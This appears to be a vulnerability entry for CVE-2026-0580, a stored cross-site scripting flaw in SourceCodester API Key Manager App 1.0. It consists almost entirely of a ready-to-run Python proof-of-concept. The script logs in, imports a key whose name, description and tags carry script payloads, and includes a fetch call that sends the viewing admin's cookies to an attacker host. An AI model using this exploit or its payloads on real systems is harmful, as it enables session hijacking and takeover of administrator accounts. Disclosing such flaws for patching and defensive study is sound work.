CVE-2026-0580: SourceCodester API Key Manager App 1.0 Import Key Handler跨站脚本漏洞

import requests import json # CVE-2026-0580 PoC - XSS in SourceCodester API Key Manager App 1.0 # Import Key Handler XSS Vulnerability target_url = "http://target.com/api-key-manager" # Malicious XSS payload for Import Key Handler xss_payload = { "keys": [ { "name": "<script>alert('XSS')</script>", "api_key": "test_key_12345", "description": "<img src=x onerror=alert(document.cookie)>", "tags": ["<script>fetch('http://attacker.com?c='+document.cookie)</script>"] } ] } # Step 1: Authenticate with low-privilege account login_url = f"{target_url}/login" session = requests.Session() login_data = { "username": "attacker", "password": "password123" } response = session.post(login_url, data=login_data) # Step 2: Import malicious key with XSS payload import_url = f"{target_url}/keys/import" response = session.post(import_url, json=xss_payload) # Step 3: Wait for admin to view the key list # When admin visits /keys page, XSS will be triggered print(f"[+] XSS Payload sent: {xss_payload}") print(f"[+] Response status: {response.status_code}") print("[+] PoC executed. XSS will trigger when victim views the key.")